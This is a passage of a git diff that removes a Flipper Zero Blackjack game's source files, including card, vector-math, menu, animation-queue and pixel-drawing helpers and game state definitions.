uint8_t character, - bool inverted, - Canvas* const canvas); - -/** - * Draws 'count' cards at the bottom right corner - * - * @param cards List of cards - * @param count Count of cards - * @param canvas Pointer to Flipper's canvas object - */ -void draw_deck(const Card* cards, uint8_t count, Canvas* const canvas); - -/** - * Draws card back at a given coordinate (top-left corner) - * - * @param pos_x X coordinate - * @param pos_y Y coordinate - * @param canvas Pointer to Flipper's canvas object - */ -void draw_card_back_at(int8_t pos_x, int8_t pos_y, Canvas* const canvas); - -/** - * Generates the deck - * - * @param deck_ptr Pointer to the deck - * @param deck_count Number of decks - */ -void generate_deck(Deck* deck_ptr, uint8_t deck_count); - -/** - * Shuffles the deck - * - * @param deck_ptr Pointer to the deck - */ -void shuffle_deck(Deck* deck_ptr); - -/** - * Calculates the hand count for blackjack - * - * @param cards List of cards - * @param count Count of cards - * @return Hand value - */ -uint8_t hand_count(const Card* cards, uint8_t count); - -/** - * Draws card animation - * - * @param animatingCard Card to animate - * @param from Starting position - * @param control Quadratic lerp control point - * @param to End point - * @param t Current time (0-1) - * @param extra_margin Use extra margin at the end (arrives 0.2 unit before the end so it can stay there a bit) - * @param canvas Pointer to Flipper's canvas object - */ -void draw_card_animation( - Card animatingCard, - Vector from, - Vector control, - Vector to, - float t, - bool extra_margin, - Canvas* const canvas); - -/** - * Init hand pointer - * @param hand_ptr Pointer to hand - * @param count Number of cards we want to store - */ -void init_hand(Hand* hand_ptr, uint8_t count); - -/** - * Free hand resources - * @param hand_ptr Pointer to hand - */ -void free_hand(Hand* hand_ptr); - -/** - * Add card to hand - * @param hand_ptr Pointer to hand - * @param card Card to add - */ -void add_to_hand(Hand* hand_ptr, Card card); - -/** - * Draw card placement position at coordinate - * @param pos_x X coordinate - * @param pos_y Y coordinate - * @param highlighted Apply highlight effect - * @param canvas Canvas object - */ -void draw_card_space(int16_t pos_x, int16_t pos_y, bool highlighted, Canvas* const canvas); - -/** - * Draws a column of card, displaying the last [max_cards] cards on the list - * @param hand Hand object - * @param pos_x X coordinate to draw - * @param pos_y Y coordinate to draw - * @param highlight Index to highlight, negative means no highlight - * @param canvas Canvas object - */ -void draw_hand_column( - Hand hand, - int16_t pos_x, - int16_t pos_y, - int8_t highlight, - Canvas* const canvas); - -/** - * Removes a card from the deck (Be aware, if you remove the first item, the deck index will be at -1 so you have to handle that) - * @param index Index to remove - * @param deck Deck reference - * @return The removed card - */ -Card remove_from_deck(uint16_t index, Deck* deck); - -int first_non_flipped_card(Hand hand); - -void extract_hand_region(Hand* hand, Hand* to, uint8_t start_index); - -void add_hand_region(Hand* to, Hand* from); \ No newline at end of file diff --git a/applications/external/blackjack/common/dml.c b/applications/external/blackjack/common/dml.c deleted file mode 100644 index b9a0e395f..000000000 --- a/applications/external/blackjack/common/dml.c +++ /dev/null @@ -1,53 +0,0 @@ -#include "dml.h" -#include - -float lerp(float v0, float v1, float t) { - if(t > 1) return v1; - return (1 - t) * v0 + t * v1; -} - -Vector lerp_2d(Vector start, Vector end, float t) { - return (Vector){ - lerp(start.x, end.x, t), - lerp(start.y, end.y, t), - }; -} - -Vector quadratic_2d(Vector start, Vector control, Vector end, float t) { - return lerp_2d(lerp_2d(start, control, t), lerp_2d(control, end, t), t); -} - -Vector vector_add(Vector a, Vector b) { - return (Vector){a.x + b.x, a.y + b.y}; -} - -Vector vector_sub(Vector a, Vector b) { - return (Vector){a.x - b.x, a.y - b.y}; -} - -Vector vector_mul_components(Vector a, Vector b) { - return (Vector){a.x * b.x, a.y * b.y}; -} - -Vector vector_div_components(Vector a, Vector b) { - return (Vector){a.x / b.x, a.y / b.y}; -} - -Vector vector_normalized(Vector a) { - float length = vector_magnitude(a); - return (Vector){a.x / length, a.y / length}; -} - -float vector_magnitude(Vector a) { - return sqrt(a.x * a.x + a.y * a.y); -} - -float vector_distance(Vector a, Vector b) { - return vector_magnitude(vector_sub(a, b)); -} - -float vector_dot(Vector a, Vector b) { - Vector _a = vector_normalized(a); - Vector _b = vector_normalized(b); - return _a.x * _b.x + _a.y * _b.y; -} \ No newline at end of file diff --git a/applications/external/blackjack/common/dml.h b/applications/external/blackjack/common/dml.h deleted file mode 100644 index 0e1a23e23..000000000 --- a/applications/external/blackjack/common/dml.h +++ /dev/null @@ -1,116 +0,0 @@ -// -// Doofy's Math library -// - -#pragma once - -typedef struct { - float x; - float y; -} Vector; - -#define min(a, b) ((a) < (b) ? (a) : (b)) -#define max(a, b) ((a) > (b) ? (a) : (b)) -#define abs(x) ((x) > 0 ? (x) : -(x)) - -/** - * Lerp function - * - * @param v0 Start value - * @param v1 End value - * @param t Time (0-1 range) - * @return Point between v0-v1 at a given time - */ -float lerp(float v0, float v1, float t); - -/** - * 2D lerp function - * - * @param start Start vector - * @param end End vector - * @param t Time (0-1 range) - * @return 2d Vector between start and end at time - */ -Vector lerp_2d(Vector start, Vector end, float t); - -/** - * Quadratic lerp function - * - * @param start Start vector - * @param control Control point - * @param end End vector - * @param t Time (0-1 range) - * @return 2d Vector at time - */ -Vector quadratic_2d(Vector start, Vector control, Vector end, float t); - -/** - * Add vector components together - * - * @param a First vector - * @param b Second vector - * @return Resulting vector - */ -Vector vector_add(Vector a, Vector b); - -/** - * Subtract vector components together - * - * @param a First vector - * @param b Second vector - * @return Resulting vector - */ -Vector vector_sub(Vector a, Vector b); - -/** - * Multiplying vector components together - * - * @param a First vector - * @param b Second vector - * @return Resulting vector - */ -Vector vector_mul_components(Vector a, Vector b); - -/** - * Dividing vector components - * - * @param a First vector - * @param b Second vector - * @return Resulting vector - */ -Vector vector_div_components(Vector a, Vector b); - -/** - * Calculating Vector length - * - * @param a Direction vector - * @return Length of the vector - */ -float vector_magnitude(Vector a); - -/** - * Get a normalized vector (length of 1) - * - * @param a Direction vector - * @return Normalized vector - */ -Vector vector_normalized(Vector a); - -/** - * Calculate two vector's distance - * - * @param a First vector - * @param b Second vector - * @return Distance between vectors - */ -float vector_distance(Vector a, Vector b); - -/** - * Calculate the dot product of the vectors. - * No need to normalize, it will do it - * - * @param a First vector - * @param b Second vector - * @return value from -1 to 1 - */ -float vector_dot(Vector a, Vector b); diff --git a/applications/external/blackjack/common/menu.c b/applications/external/blackjack/common/menu.c deleted file mode 100644 index ffc3921b7..000000000 --- a/applications/external/blackjack/common/menu.c +++ /dev/null @@ -1,103 +0,0 @@ -#include "menu.h" - -void add_menu(Menu* menu, const char* name, void (*callback)(void*)) { - MenuItem* items = menu->items; - - menu->items = malloc(sizeof(MenuItem) * (menu->menu_count + 1)); - for(uint8_t i = 0; i < menu->menu_count; i++) { - menu->items[i] = items[i]; - } - free(items); - - menu->items[menu->menu_count] = (MenuItem){name, true, callback}; - menu->menu_count++; -} - -void free_menu(Menu* menu) { - free(menu->items); - free(menu); -} - -void set_menu_state(Menu* menu, uint8_t index, bool state) { - if(menu->menu_count > index) { - menu->items[index].enabled = state; - } - if(!state && menu->current_menu == index) move_menu(menu, 1); -} - -void move_menu(Menu* menu, int8_t direction) { - if(!menu->enabled) return; - int max = menu->menu_count; - for(int8_t i = 0; i < max; i++) { - FURI_LOG_D( - "MENU", - "Iteration %i, current %i, direction %i, state %i", - i, - menu->current_menu, - direction, - menu->items[menu->current_menu].enabled ? 1 : 0); - if(direction < 0 && menu->current_menu == 0) { - menu->current_menu = menu->menu_count - 1; - } else { - menu->current_menu = (menu->current_menu + direction) % menu->menu_count; - } - FURI_LOG_D( - "MENU", - "After process current %i, direction %i, state %i", - menu->current_menu, - direction, - menu->items[menu->current_menu].enabled ? 1 : 0); - if(menu->items[menu->current_menu].enabled) { - FURI_LOG_D("MENU", "Next menu %i", menu->current_menu); - return; - } - } - FURI_LOG_D("MENU", "Not found, setting false"); - menu->enabled = false; -} - -void activate_menu(Menu* menu, void* state) { - if(!menu->enabled) return; - menu->items[menu->current_menu].callback(state); -} - -void render_menu(Menu* menu, Canvas* canvas, uint8_t pos_x, uint8_t pos_y) { - if(!menu->enabled) return; - canvas_set_color(canvas, ColorWhite); - canvas_draw_rbox(canvas, pos_x, pos_y, menu->menu_width + 2, 10, 2); - - uint8_t w = pos_x + menu->menu_width; - uint8_t h = pos_y + 10; - uint8_t p1x = pos_x + 2; - uint8_t p2x = pos_x + menu->menu_width - 2; - uint8_t p1y = pos_y + 2; - uint8_t p2y = pos_y + 8; - - canvas_set_color(canvas, ColorBlack); - canvas_draw_line(canvas, p1x, pos_y, p2x, pos_y); - canvas_draw_line(canvas, p1x, h, p2x, h); - canvas_draw_line(canvas, pos_x, p1y, pos_x, p2y); - canvas_draw_line(canvas, w, p1y, w, p2y); - canvas_draw_dot(canvas, pos_x + 1, pos_y + 1); - canvas_draw_dot(canvas, w - 1, pos_y + 1); - canvas_draw_dot(canvas, w - 1, h - 1); - canvas_draw_dot(canvas, pos_x + 1, h - 1); - - // canvas_draw_rbox(canvas, pos_x, pos_y, menu->menu_width + 2, 10, 2); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned( - canvas, - pos_x + menu->menu_width / 2, - pos_y + 6, - AlignCenter, - AlignCenter, - menu->items[menu->current_menu].name); - //9*5 - int center = pos_x + menu->menu_width / 2; - for(uint8_t i = 0; i < 4; i++) { - for(int8_t j = -i; j <= i; j++) { - canvas_draw_dot(canvas, center + j, pos_y - 4 + i); - canvas_draw_dot(canvas, center + j, pos_y + 14 - i); - } - } -} \ No newline at end of file diff --git a/applications/external/blackjack/common/menu.h b/applications/external/blackjack/common/menu.h deleted file mode 100644 index 9f2852522..000000000 --- a/applications/external/blackjack/common/menu.h +++ /dev/null @@ -1,77 +0,0 @@ -#pragma once - -#include -#include - -typedef struct { - const char* name; //Name of the menu - bool enabled; //Is the menu item enabled (it will not render, you cannot select it) - - void (*callback)( - void* state); //Callback for when the activate_menu is called while this menu is selected -} MenuItem; - -typedef struct { - MenuItem* items; //list of menu items - uint8_t menu_count; //count of menu items (do not change) - uint8_t current_menu; //currently selected menu item - uint8_t menu_width; //width of the menu - bool enabled; //is the menu enabled (it will not render and accept events when disabled) -} Menu; - -/** - * Cleans up the pointers used by the menu - * - * @param menu Pointer of the menu to clean up - */ -void free_menu(Menu* menu); - -/** - * Add a new menu item - * - * @param menu Pointer of the menu - * @param name Name of the menu item - * @param callback Callback called on activation - */ -void add_menu(Menu* menu, const char* name, void (*callback)(void*)); - -/** - * Setting menu item to be enabled/disabled - * - * @param menu Pointer of the menu - * @param index Menu index to set - * @param state Enabled (true), Disabled(false) - */ -void set_menu_state(Menu* menu, uint8_t index, bool state); - -/** - * Moves selection up or down - * - * @param menu Pointer of the menu - * @param direction Direction to move -1 down, 1 up - */ -void move_menu(Menu* menu, int8_t direction); - -/** - * Triggers the current menu callback - * - * @param menu Pointer of the menu - * @param state Usually your application state - */ -void activate_menu(Menu* menu, void* state); - -/** - * Renders the menu at a coordinate (call it in your render function). - * - * Keep in mind that Flipper has a 128x64 pixel screen resolution and the coordinate - * you give is the menu's rectangle top-left corner (arrows not included). - * The rectangle height is 10 px, the arrows have a 4 pixel height. Space needed is 18px. - * The width of the menu can be configured in the menu object. - * - * - * @param menu Pointer of the menu - * @param canvas Flippers Canvas pointer - * @param pos_x X position to draw - * @param pos_y Y position to draw - */ -void render_menu(Menu* menu, Canvas* canvas, uint8_t pos_x, uint8_t pos_y); \ No newline at end of file diff --git a/applications/external/blackjack/common/queue.c b/applications/external/blackjack/common/queue.c deleted file mode 100644 index a80373460..000000000 --- a/applications/external/blackjack/common/queue.c +++ /dev/null @@ -1,69 +0,0 @@ -#include "queue.h" - -void render_queue(const QueueState* queue_state, const void* app_state, Canvas* const canvas) { - if(queue_state->current != NULL && queue_state->current->render != NULL) - ((QueueItem*)queue_state->current)->render(app_state, canvas); -} - -bool run_queue(QueueState* queue_state, void* app_state) { - if(queue_state->current != NULL) { - queue_state->running = true; - if((furi_get_tick() - queue_state->start) >= queue_state->current->duration) - dequeue(queue_state, app_state); - - return true; - } - return false; -} - -void dequeue(QueueState* queue_state, void* app_state) { - ((QueueItem*)queue_state->current)->callback(app_state); - QueueItem* f = queue_state->current; - queue_state->current = f->next; - free(f); - if(queue_state->current != NULL) { - if(queue_state->current->start != NULL) queue_state->current->start(app_state); - queue_state->start = furi_get_tick(); - } else { - queue_state->running = false; - } -} - -void queue_clear(QueueState* queue_state) { - queue_state->running = false; - QueueItem* curr = queue_state->current; - while(curr != NULL) { - QueueItem* f = curr; - curr = curr->next; - free(f); - } -} - -void enqueue( - QueueState* queue_state, - void* app_state, - void (*done)(void* state), - void (*start)(void* state), - void (*render)(const void* state, Canvas* const canvas), - uint32_t duration) { - QueueItem* next; - if(queue_state->current == NULL) { - queue_state->start = furi_get_tick(); - queue_state->current = malloc(sizeof(QueueItem)); - next = queue_state->current; - if(next->start != NULL) next->start(app_state); - - } else { - next = queue_state->current; - while(next->next != NULL) { - next = (QueueItem*)(next->next); - } - next->next = malloc(sizeof(QueueItem)); - next = next->next; - } - next->callback = done; - next->render = render; - next->start = start; - next->duration = duration; - next->next = NULL; -} \ No newline at end of file diff --git a/applications/external/blackjack/common/queue.h b/applications/external/blackjack/common/queue.h deleted file mode 100644 index dcfe0c091..000000000 --- a/applications/external/blackjack/common/queue.h +++ /dev/null @@ -1,70 +0,0 @@ -#pragma once - -#include -#include - -typedef struct { - void (*callback)(void* state); //Callback for when the item is dequeued - void (*render)( - const void* state, - Canvas* const canvas); //Callback for the rendering loop while this item is running - void (*start)(void* state); //Callback when this item is started running - void* next; //Pointer to the next item - uint32_t duration; //duration of the item -} QueueItem; - -typedef struct { - unsigned int start; //current queue item start time - QueueItem* current; //current queue item - bool running; //is the queue running -} QueueState; - -/** - * Enqueue a new item. - * - * @param queue_state The queue state pointer - * @param app_state Your app state - * @param done Callback for dequeue event - * @param start Callback for when the item is activated - * @param render Callback to render loop if needed - * @param duration Length of the item - */ -void enqueue( - QueueState* queue_state, - void* app_state, - void (*done)(void* state), - void (*start)(void* state), - void (*render)(const void* state, Canvas* const canvas), - uint32_t duration); -/** - * Clears all queue items - * - * @param queue_state The queue state pointer - */ -void queue_clear(QueueState* queue_state); - -/** - * Dequeues the active queue item. Usually you don't need to call it directly. - * - * @param queue_state The queue state pointer - * @param app_state Your application state - */ -void dequeue(QueueState* queue_state, void* app_state); - -/** - * Runs the queue logic (place it in your tick function) - * - * @param queue_state The queue state pointer - * @param app_state Your application state - * @return FALSE when there is nothing to run, TRUE otherwise - */ -bool run_queue(QueueState* queue_state, void* app_state); - -/** - * Calls the currently active queue items render callback (if there is any) - * - * @param queue_state The queue state pointer - * @param app_state Your application state - * @param canvas Pointer to Flipper's canvas object - */ -void render_queue(const QueueState* queue_state, const void* app_state, Canvas* const canvas); \ No newline at end of file diff --git a/applications/external/blackjack/common/ui.c b/applications/external/blackjack/common/ui.c deleted file mode 100644 index 032877a9e..000000000 --- a/applications/external/blackjack/common/ui.c +++ /dev/null @@ -1,257 +0,0 @@ -#include "ui.h" -#include -#include -#include -#include -#include -#include - -TileMap* tileMap; -uint8_t tileMapCount = 0; - -void ui_cleanup() { - if(tileMap != NULL) { - for(uint8_t i = 0; i < tileMapCount; i++) { - if(tileMap[i].data != NULL) free(tileMap[i].data); - } - free(tileMap); - } -} - -void add_new_tilemap(uint8_t* data, unsigned long iconId) { - TileMap* old = tileMap; - tileMapCount++; - tileMap = malloc(sizeof(TileMap) * tileMapCount); - if(tileMapCount > 1) { - for(uint8_t i = 0; i < tileMapCount; i++) tileMap[i] = old[i]; - } - tileMap[tileMapCount - 1] = (TileMap){data, iconId}; -} - -uint8_t* get_tilemap(unsigned long icon_id) { - for(uint8_t i = 0; i < tileMapCount; i++) { - if(tileMap[i].iconId == icon_id) return tileMap[i].data; - } - - return NULL; -} - -uint32_t pixel_index(uint8_t x, uint8_t y) { - return y * SCREEN_WIDTH + x; -} - -bool in_screen(int16_t x, int16_t y) { - return x >= 0 && x < SCREEN_WIDTH && y >= 0 && y < SCREEN_HEIGHT; -} - -unsigned flipBit(uint8_t x, uint8_t bit) { - return x ^ (1 << bit); -} - -unsigned setBit(uint8_t x, uint8_t bit) { - return x | (1 << bit); -} - -unsigned unsetBit(uint8_t x, uint8_t bit) { - return x & ~(1 << bit); -} - -bool test_pixel(uint8_t* data, uint8_t x, uint8_t y, uint8_t w) { - uint8_t current_bit = (y % 8); - uint8_t current_row = ((y - current_bit) / 8); - uint8_t current_value = data[current_row * w + x]; - return current_value & (1 << current_bit); -} - -uint8_t* get_buffer(Canvas* const canvas) { - return canvas->fb.tile_buf_ptr; - // return canvas_get_buffer(canvas); -} -uint8_t* make_buffer() { - return malloc(sizeof(uint8_t) * 8 * 128); -} -void clone_buffer(uint8_t* canvas, uint8_t* data) { - for(int i = 0; i < 1024; i++) { - data[i] = canvas[i]; - } -} - -bool read_pixel(Canvas* const canvas, int16_t x, int16_t y) { - if(in_screen(x, y)) { - return test_pixel(get_buffer(canvas), x, y, SCREEN_WIDTH); - } - return false; -} - -void set_pixel(Canvas* const canvas, int16_t x, int16_t y, DrawMode draw_mode) { - if(in_screen(x, y)) { - uint8_t current_bit = (y % 8); - uint8_t current_row = ((y - current_bit) / 8); - uint32_t i = pixel_index(x, current_row); - uint8_t* buffer = get_buffer(canvas); - - uint8_t current_value = buffer[i]; - if(draw_mode == Inverse) { - buffer[i] = flipBit(current_value, current_bit); - } else { - if(draw_mode == White) { - buffer[i] = unsetBit(current_value, current_bit); - } else { - buffer[i] = setBit(current_value, current_bit); - } - } - } -} - -void draw_line( - Canvas* const canvas, - int16_t x1, - int16_t y1, - int16_t x2, - int16_t y2, - DrawMode draw_mode) { - for(int16_t x = x2; x >= x1; x--) { - for(int16_t y = y2; y >= y1; y--) { - set_pixel(canvas, x, y, draw_mode); - } - } -} - -void draw_rounded_box_frame( - Canvas* const canvas, - int16_t x, - int16_t y, - uint8_t w, - uint8_t h, - DrawMode draw_mode) { - int16_t xMinCorner = x + 1; - int16_t xMax = x + w - 1; - int16_t xMaxCorner = x + w - 2; - int16_t yMinCorner = y + 1; - int16_t yMax = y + h - 1; - int16_t yMaxCorner = y + h - 2; - draw_line(canvas, xMinCorner, y, xMaxCorner, y, draw_mode); - draw_line(canvas, xMinCorner, yMax, xMaxCorner, yMax, draw_mode); - draw_line(canvas, x, yMinCorner, x, yMaxCorner, draw_mode); - draw_line(canvas, xMax, yMinCorner, xMax, yMaxCorner, draw_mode); -} - -void draw_rounded_box( - Canvas* const canvas, - int16_t x, - int16_t y, - uint8_t w, - uint8_t h, - DrawMode draw_mode) { - for(int16_t o = w - 2; o >= 1; o--) { - for(int16_t p = h - 2; p >= 1; p--) { - set_pixel(canvas, x + o, y + p, draw_mode); - } - } - draw_rounded_box_frame(canvas, x, y, w, h, draw_mode); -} - -void invert_shape(Canvas* const canvas, uint8_t* data, int16_t x, int16_t y, uint8_t w, uint8_t h) { - draw_pixels(canvas, data, x, y, w, h, Inverse); -} - -void draw_pixels( - Canvas* const canvas, - uint8_t* data, - int16_t x, - int16_t y, - uint8_t w, - uint8_t h, - DrawMode drawMode) { - for(int8_t o = 0; o < w; o++) { - for(int8_t p = 0; p < h; p++) { - if(in_screen(o + x, p + y) && data[p * w + o] == 1) - set_pixel(canvas, o + x, p + y, drawMode); - } - } -} - -void draw_rectangle( - Canvas* const canvas, - int16_t x, - int16_t y, - uint8_t w, - uint8_t h, - DrawMode drawMode) { - for(int8_t o = 0; o < w; o++) { - for(int8_t p = 0; p < h; p++) { - if(in_screen(o + x, p + y)) { - set_pixel(canvas, o + x, p + y, drawMode); - } - } - } -} - -void invert_rectangle(Canvas* const canvas, int16_t x, int16_t y, uint8_t w, uint8_t h) { - draw_rectangle(canvas, x, y, w, h, Inverse); -} - -uint8_t* image_data(Canvas* const canvas, const Icon* icon) { - uint8_t* data = malloc(sizeof(uint8_t) * 8 * 128); - uint8_t* screen = canvas->fb.tile_buf_ptr; - canvas->fb.tile_buf_ptr = data; - canvas_draw_icon(canvas, 0, 0, icon); - canvas->fb.tile_buf_ptr = screen; - return data; -} - -uint8_t* getOrAddIconData(Canvas* const canvas, const Icon* icon) { - uint8_t* icon_data = get_tilemap((unsigned long)icon); - if(icon_data == NULL) { - icon_data = image_data(canvas, icon); - add_new_tilemap(icon_data, (unsigned long)icon); - } - return icon_data; -} - -void draw_icon_clip( - Canvas* const canvas, - const Icon* icon, - int16_t x, - int16_t y, - uint8_t left, - uint8_t top, - uint8_t w, - uint8_t h, - DrawMode drawMode) { - uint8_t* icon_data = getOrAddIconData(canvas, icon); - - for(int i = 0; i < w; i++) { - for(int j = 0; j < h; j++) { - bool on = test_pixel(icon_data, left + i, top + j, SCREEN_WIDTH); - if(drawMode == Filled) { - set_pixel(canvas, x + i, y + j, on ? Black : White); - } else if(on) - set_pixel(canvas, x + i, y + j, drawMode); - } - } -} - -void draw_icon_clip_flipped( - Canvas* const canvas, - const Icon* icon, - int16_t x, - int16_t y, - uint8_t left, - uint8_t top, - uint8_t w, - uint8_t h, - DrawMode drawMode) { - uint8_t* icon_data = getOrAddIconData(canvas, icon); - - for(int i = 0; i < w; i++) { - for(int j = 0; j < h; j++) { - bool on = test_pixel(icon_data, left + i, top + j, SCREEN_WIDTH); - - if(drawMode == Filled) { - set_pixel(canvas, x + w - i - 1, y + h - j - 1, on ? Black : White); - } else if(on) - set_pixel(canvas, x + w - i - 1, y + h - j - 1, drawMode); - } - } -} \ No newline at end of file diff --git a/applications/external/blackjack/common/ui.h b/applications/external/blackjack/common/ui.h deleted file mode 100644 index 13d8da257..000000000 --- a/applications/external/blackjack/common/ui.h +++ /dev/null @@ -1,105 +0,0 @@ -#pragma once - -#include -#include - -#define SCREEN_WIDTH 128 -#define SCREEN_HEIGHT 64 - -typedef enum { - Black, - White, - Inverse, - Filled //Currently only for Icon clip drawing -} DrawMode; - -// size is the screen size - -typedef struct { - uint8_t* data; - unsigned long iconId; -} TileMap; - -bool test_pixel(uint8_t* data, uint8_t x, uint8_t y, uint8_t w); - -uint8_t* image_data(Canvas* const canvas, const Icon* icon); - -uint32_t pixel_index(uint8_t x, uint8_t y); - -void draw_icon_clip( - Canvas* const canvas, - const Icon* icon, - int16_t x, - int16_t y, - uint8_t left, - uint8_t top, - uint8_t w, - uint8_t h, - DrawMode drawMode); - -void draw_icon_clip_flipped( - Canvas* const canvas, - const Icon* icon, - int16_t x, - int16_t y, - uint8_t left, - uint8_t top, - uint8_t w, - uint8_t h, - DrawMode drawMode); - -void draw_rounded_box( - Canvas* const canvas, - int16_t x, - int16_t y, - uint8_t w, - uint8_t h, - DrawMode drawMode); - -void draw_rounded_box_frame( - Canvas* const canvas, - int16_t x, - int16_t y, - uint8_t w, - uint8_t h, - DrawMode drawMode); - -void draw_rectangle( - Canvas* const canvas, - int16_t x, - int16_t y, - uint8_t w, - uint8_t h, - DrawMode drawMode); - -void invert_rectangle(Canvas* const canvas, int16_t x, int16_t y, uint8_t w, uint8_t h); - -void invert_shape(Canvas* const canvas, uint8_t* data, int16_t x, int16_t y, uint8_t w, uint8_t h); - -void draw_pixels( - Canvas* const canvas, - uint8_t* data, - int16_t x, - int16_t y, - uint8_t w, - uint8_t h, - DrawMode drawMode); - -bool read_pixel(Canvas* const canvas, int16_t x, int16_t y); - -void set_pixel(Canvas* const canvas, int16_t x, int16_t y, DrawMode draw_mode); - -void draw_line( - Canvas* const canvas, - int16_t x1, - int16_t y1, - int16_t x2, - int16_t y2, - DrawMode draw_mode); - -bool in_screen(int16_t x, int16_t y); - -void ui_cleanup(); -uint8_t* get_buffer(Canvas* const canvas); -uint8_t* make_buffer(); -void clone_buffer(uint8_t* canvas, uint8_t* data); \ No newline at end of file diff --git a/applications/external/blackjack/defines.h b/applications/external/blackjack/defines.h deleted file mode 100644 index 0a3fdf53e..000000000 --- a/applications/external/blackjack/defines.h +++ /dev/null @@ -1,77 +0,0 @@ -#pragma once - -#include -#include -#include -#include -#include -#include "common/card.h" -#include "common/queue.h" -#include "common/menu.h" - -#define APP_NAME "Blackjack" - -#define CONF_ANIMATION_DURATION "AnimationDuration" -#define CONF_MESSAGE_DURATION "MessageDuration" -#define CONF_STARTING_MONEY "StartingMoney" -#define CONF_ROUND_PRICE "RoundPrice" -#define CONF_SOUND_EFFECTS "SoundEffects" - -typedef enum { - EventTypeTick, - EventTypeKey, -} EventType; - -typedef struct { - uint32_t animation_duration; - uint32_t message_duration; - uint32_t starting_money; - uint32_t round_price; - bool sound_effects; -} Settings; - -typedef struct { - EventType type; - InputEvent input; -} AppEvent; - -typedef enum { - GameStateGameOver, - GameStateStart, - GameStatePlay, - GameStateSettings, - GameStateDealer, -} PlayState; - -typedef enum { - DirectionUp, - DirectionDown, - DirectionRight, - DirectionLeft, - Select, - Back, - None -} Direction; - -typedef struct { - FuriMutex* mutex; - Card player_cards[21]; - Card dealer_cards[21]; - uint8_t player_card_count; - uint8_t dealer_card_count; - - Direction selectDirection; - Settings settings; - - uint32_t player_score; - uint32_t bet; - uint8_t selectedMenu; - bool doubled; - bool started; - bool processing; - Deck deck; - PlayState state; - QueueState queue_state; - Menu* menu; - unsigned int last_tick; -} GameState; diff --git a/applications/external/blackjack/ui.c b/applications/external/blackjack/ui.c deleted file mode 100644 index d4ee82191..000000000 --- a/applications/external/blackjack/ui.c +++ /dev/null @@ -1,186 +0,0 @@ -#include -#include - -#include "ui.h" - -#define LINE_HEIGHT 16 -#define ITEM_PADDING 4 - -const char MoneyMul[4] = {'K', 'B', 'T', 'S'}; - -void draw_player_scene(Canvas* const canvas, const GameState* game_state) { - int max_card = game_state->player_card_count; - - if(max_card > 0) draw_deck((game_state->player_cards), max_card, canvas); - - if(game_state->dealer_card_count > 0) draw_card_back_at(13, 5, canvas); - - max_card = game_state->dealer_card_count; - if(max_card > 1) { - draw_card_at( - 2, 2, game_state->dealer_cards[1].pip, game_state->dealer_cards[1].character, canvas); - } -} - -void draw_dealer_scene(Canvas* const canvas, const GameState* game_state) { - uint8_t max_card = game_state->dealer_card_count; - draw_deck((game_state->dealer_cards), max_card, canvas); -} - -void popup_frame(Canvas* const canvas) { - canvas_set_color(canvas, ColorWhite); - canvas_draw_box(canvas, 32, 15, 66, 13); - canvas_set_color(canvas, ColorBlack); - canvas_draw_frame(canvas, 32, 15, 66, 13); - canvas_set_font(canvas, FontSecondary); -} - -void draw_play_menu(Canvas* const canvas, const GameState* game_state) { - const char* menus[3] = {"Double", "Hit", "Stay"}; - for(uint8_t m = 0; m < 3; m++) { - if(m == 0 && - (game_state->doubled || game_state->player_score < game_state->settings.round_price)) - continue; - int y = m * 13 + 25; - canvas_set_color(canvas, ColorBlack); - - if(game_state->selectedMenu == m) { - canvas_set_color(canvas, ColorBlack); - canvas_draw_box(canvas, 1, y, 31, 12); - } else { - canvas_set_color(canvas, ColorWhite); - canvas_draw_box(canvas, 1, y, 31, 12); - canvas_set_color(canvas, ColorBlack); - canvas_draw_frame(canvas, 1, y, 31, 12); - } - - if(game_state->selectedMenu == m) - canvas_set_color(canvas, ColorWhite); - else - canvas_set_color(canvas, ColorBlack); - canvas_draw_str_aligned(canvas, 16, y + 6, AlignCenter, AlignCenter, menus[m]); - } -} - -void draw_screen(Canvas* const canvas, const bool* points) { - for(uint8_t x = 0; x < 128; x++) { - for(uint8_t y = 0; y < 64; y++) { - if(points[y * 128 + x]) canvas_draw_dot(canvas, x, y); - } - } -} - -void draw_score(Canvas* const canvas, bool top, uint8_t amount) { - char drawChar[20]; - snprintf(drawChar, sizeof(drawChar), "Player score: %i", amount); - if(top) - canvas_draw_str_aligned(canvas, 64, 2, AlignCenter, AlignTop, drawChar); - else - canvas_draw_str_aligned(canvas, 64, 62, AlignCenter, AlignBottom, drawChar); -} - -void draw_money(Canvas* const canvas, uint32_t score) { - canvas_set_font(canvas, FontSecondary); - char drawChar[11]; - uint32_t currAmount = score; - if(currAmount < 1000) { - snprintf(drawChar, sizeof(drawChar), "$%lu", currAmount); - } else { - char c = 'K'; - for(uint8_t i = 0; i < 4; i++) { - currAmount = currAmount / 1000; - if(currAmount < 1000) { - c = MoneyMul[i]; - break; - } - } - - snprintf(drawChar, sizeof(drawChar), "$%lu %c", currAmount, c); - } - canvas_draw_str_aligned(canvas, 126, 2, AlignRight, AlignTop, drawChar); -} - -void draw_menu( - Canvas* const canvas, - const char* text, - const char* value, - int8_t y, - bool left_caret, - bool right_caret, - bool selected) { - UNUSED(selected); - if(y < 0 || y >= 64) return; - - if(selected) { - canvas_set_color(canvas, ColorBlack); - canvas_draw_box(canvas, 0, y, 122, LINE_HEIGHT); - canvas_set_color(canvas, ColorWhite); - } - - canvas_draw_str_aligned(canvas, 4, y + ITEM_PADDING, AlignLeft, AlignTop, text); - if(left_caret) canvas_draw_str_aligned(canvas, 80, y + ITEM_PADDING, AlignLeft, AlignTop, "<"); - canvas_draw_str_aligned(canvas, 100, y + ITEM_PADDING, AlignCenter, AlignTop, value); - if(right_caret) - canvas_draw_str_aligned(canvas, 120, y + ITEM_PADDING, AlignRight, AlignTop, ">"); - - canvas_set_color(canvas, ColorBlack); -} - -void settings_page(Canvas* const canvas, const GameState* gameState) { - char drawChar[10]; - int startY = 0; - if(LINE_HEIGHT * (gameState->selectedMenu + 1) >= 64) { - startY -= (LINE_HEIGHT * (gameState->selectedMenu + 1)) - 64; - } - - int scrollHeight = round(64 / 6.0) + ITEM_PADDING * 2; - int scrollPos = 64 / (6.0 / (gameState->selectedMenu + 1)) - ITEM_PADDING * 2; - - canvas_set_color(canvas, ColorBlack); - canvas_draw_box(canvas, 123, scrollPos, 4, scrollHeight); - canvas_draw_box(canvas, 125, 0, 1, 64); - - snprintf(drawChar, sizeof(drawChar), "%li", gameState->settings.starting_money); - draw_menu( - canvas, - "Start money", - drawChar, - 0 * LINE_HEIGHT + startY, - gameState->settings.starting_money > 